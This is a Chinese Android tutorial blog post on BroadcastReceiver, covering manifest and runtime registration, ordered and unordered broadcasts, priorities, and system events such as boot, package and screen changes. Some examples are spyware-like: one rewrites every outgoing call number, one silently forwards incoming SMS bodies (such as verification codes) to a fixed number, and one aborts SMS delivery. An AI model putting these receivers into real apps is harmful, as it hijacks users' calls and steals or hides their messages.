标签:
Demo传送门,包含Service内容,Service简介见下篇文章
同样是四大组件,完全可以类比Activity
继承一个类BroadcastReceiver(相当于你买到一个收音机)
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e("qqq","打电话");
}
}
清单注册(你开始配置这个收音机,主要是选择频道,你到底要听哪一个台的广播)
<receiver android:name=".MyReceiver">
<intent-filter >//选择频道,在这里我们要接收拨出电话的事件
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
</receiver>
特殊的广播需要添加权限,本例中,需要添加下列权限
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
此时,只要你拨打电话,就会执行MyReceiver中的onReceive方法,打印log
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 获取外拨电话的电话号码
// (从当前的广播中抽取结果数据,一般为null,但这个事件中获得了外拨号码)
String phoneNumber = getResultData();
Log.e("qqq","打电话:"+phoneNumber);
// 下面是设置外拨电话的号码,你会发现无论你打给谁,都打给了10010
setResultData("10010");
}
}
所以说:不要随便装app,否则你的短信验证码被轻易盗取
继承BroadcastReceiver
public class MyReceiver extends BroadcastReceiver {
private String body;
private String sender;
private String number="111";
@Override
public void onReceive(Context context, Intent intent) {
// 取出短信内容
Object[] objs = (Object[]) intent.getExtras().get("pdus");
String body = "";
String sender;
for (Object obj : objs) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
body = smsMessage.getMessageBody();
sender = smsMessage.getOriginatingAddress();
Log.e("qqq", "短信内容:" + body + "\n发送者:" + sender);
}
// 给指定号码发送短信
if (!"".equals(body)) {
// 获取短信管理器
android.telephony.SmsManager smsManager = android.telephony.SmsManager.getDefault();
// 给指定号码发短信
smsManager.sendTextMessage(number, null, body, null, null);
}
}
}
清单注册
<receiver
android:name=".MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
//上面这个action name 系统是不会提示的(为了安全),需要你手动输入
</intent-filter>
</receiver>
添加权限
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
2.3以及2.3一下的版本,任何广播接受者apk只要被装到手机就立刻生效。不管应用程序进程是否运行。
4.0以及4.0以上的版本,要求应用程序必须有ui界面(activity) 广播接受者才能生效,如果用户点击了强行停止(设置—应用管理),应用程序就完全关闭了,广播接受者就失效了。如果用户没有点击过强行停止,即使应用程序进程不存在,也会自动的运行起来。
上面讲到的是如何接收系统广播,接下来讲一下如何发送自定义的广播
注意:发送广播和接收广播可以写到不同的app里面,只要是在同一个手机内部,满足了action的过滤要求,即使是不同的app也可以收到这个广播
发送自定义广播
// 1.定义意图
Intent intent=new Intent();
// 2.设置动作(字符串)
intent.setAction("com.example.hello");
// 3.携带数据
intent.putExtra("data","自定义广播携带的数据");
// 4.发送广播
sendBroadcast(intent);
// 还可以发送指定权限的广播,如下:(需要自定义权限,不常用,略)
// sendBroadcast(Intent intent, String receiverPermission);
接收广播(跟上文一样)
继承BroadcastReceiver,重写onReceive方法
public class CustomBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
//接收数据
String data = intent.getStringExtra("data");
Log.e("qqq", "接收到了自定义广播:"+data);
}
}
清单文件配置,加action android:name=”com.example.hello”
<receiver android:name=".CustomBroadcastReceiver">
<intent-filter>
<action android:name="com.example.hello"/>
</intent-filter>
</receiver>
上面发送的是无序广播,还可以发送有序广播,
关键字
- sendOrderedBroadcast
- setResultData
- abortBroadcast
- resultReceiver
无序广播 (广播发送的时候,接受者接受,没有先后顺序) 不可以通过setResultData携带数据
sendBroadcast()
英语听力考试:
无序广播不可以被拦截,不可以修改结果数据
调用setResultData()会报错
BroadcastReceiver trying to return result during a non-ordered
broadcastjava.lang.RuntimeException: BroadcastReceiver trying to return result during a non-ordered broadcast
/*
广播发出10000元—>A(10000) —> B(5000)—-> C(1000) —–> D(200)
setResultData();//修改广播数据
abortBroadcast();//广播被拦截终止了。
有序广播可以被拦截,可以修改结果数据。
如果指定了最终的接受者,最终的接受者一定会收到消息。
注意:
有序广播和无序广播都可以通过intent来携带数据
只是只有有序广播可以通过setResultData携带数据
发送有序广播
/*
* Intent intent:意图
* String receiverPermission 接受者权限
* BroadcastReceiver resultReceiver:指定最终接受者,设置后,无论如何都会收到广播,但数据会被前面的串改
* Handler scheduler:消息处理者,null
* int initialCode:初始码
* Sring initialData:文件数据
* Bundle initialExtras:intent里携带的额外数据
* */
sendOrderedBroadcast(intent, "com.permission.money",
new DBroadcastReceiver(), null, 0, "拨款10000元", null);
各个级别的广播接受者
ABroadcastReceiver
public class ABroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e("qqq", "我是A,收到:"+getResultData());
setResultData("拨款5000");
}
}
BBroadcastReceiver
public class BBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
abortBroadcast();
Log.e("qqq", "我是B,收到:"+getResultData());
setResultData("拨款3000");
}
}
CBroadcastReceiver
public class CBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e("qqq", "我是C,收到:"+getResultData());
setResultData("拨款1000");
}
}
DBroadcastReceiver
public class DBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.e("qqq", "我是D,收到:"+getResultData());
}
}
清单配置
设置自定义权限
<permission android:name="com.permission.money"/>
添加自定义权限
<uses-permission android:name="com.permission.money"/>
配置广播接受者
<receiver android:name=".ABroadcastReceiver">
<intent-filter android:priority="1000">
<action android:name="com.example.hello" />
</intent-filter>
</receiver>
<receiver android:name=".BBroadcastReceiver">
<intent-filter android:priority="900">
<action android:name="com.example.hello" />
</intent-filter>
</receiver>
<receiver android:name=".CBroadcastReceiver">
<intent-filter android:priority="800">
<action android:name="com.example.hello" />
</intent-filter>
</receiver>
<receiver android:name=".DBroadcastReceiver">
<intent-filter android:priority="700">
<action android:name="com.example.hello" />
</intent-filter>
</receiver>
提高优先级
<receiver
android:name=".MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
终止广播
public class MyReceiver extends BroadcastReceiver {
private String body;
private String sender;
private String number;
@Override
public void onReceive(Context context, Intent intent) {
// 取出短信内容
Object[] objs = (Object[]) intent.getExtras().get("pdus");
String body = "";
String sender;
for (Object obj : objs) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
body = smsMessage.getMessageBody();
sender = smsMessage.getOriginatingAddress();
Log.e("qqq", "短信内容:" + body + "\n发送者:" + sender);
}
if (body.equals("9999999")){
abortBroadcast();
}
}
}
清单文件
<receiver android:name=".CustomBroadcastReceiver">
<intent-filter>
<action android:name="com.example.hello"/>
<action android:name="android.intent.action.PACKAGE_ADDED"/>
<action android:name="android.intent.action.PACKAGE_REMOVED"/>
<action android:name="android.intent.action.PACKAGE_REPLACED"/>
<!--必须配置data,否则,监测不到-->
<data android:scheme="package"/>
</intent-filter>
</receiver>
CustomBroadcastReceiver
public class CustomBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String packageName = intent.getData().toString();
Log.e("qqq", ""+packageName);
String action = intent.getAction();
switch (action) {
case Intent.ACTION_PACKAGE_ADDED:
Log.e("qqq", "app安装");
break;
case Intent.ACTION_PACKAGE_REMOVED:
Log.e("qqq", "app卸载");
break;
case Intent.ACTION_PACKAGE_REPLACED:
Log.e("qqq", "app替换");
break;
}
}
}
<intent-filter >
<action android:name="android.intent.action.MEDIA_MOUNTED"/>
<action android:name="android.intent.action.MEDIA_REMOVED"/>
<action android:name="android.intent.action.MEDIA_UNMOUNTED"/>
<data android:scheme="file"/> 必须写data
</intent-filter>
<intent-filter >
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
必须记得添加权限
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
因为我们知道,如果用清单注册的广播接受者,即使广播接受者所在的app没有被启动,事件发生时,这个app会突然启动起来,并执行onReceiver里的操作,试想,如果手机开关屏幕这么频繁的事件,用清单注册后,每当屏幕开关一次,就会有很多app启动起来,这样是不合理的
所以必须采用代码注册,四大组件里也只有BroadcastReceiver可以在代码注册
<receiver android:name=".ScreenOnBroadcastReceiver"/>
<receiver android:name=".ScreenOffBroadcastReceiver"/>
public class MainActivity extends AppCompatActivity {
private ScreenOnBroadcastReceiver receiverOn;
private ScreenOffBroadcastReceiver receiverOff;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
receiverOn = new ScreenOnBroadcastReceiver();
registerReceiver(receiverOn, new IntentFilter(Intent.ACTION_SCREEN_ON));
receiverOff = new ScreenOffBroadcastReceiver();
registerReceiver(receiverOff, new IntentFilter(Intent.ACTION_SCREEN_OFF));
}
@Override
protected void onDestroy() {
super.onDestroy();
//千万记得要注销代码注册的广播接受者,否则--->Leaked漏气
unregisterReceiver(receiverOn);
unregisterReceiver(receiverOff);
}
}
标签:
原文地址:http://blog.csdn.net/android_study_ok/article/details/51706015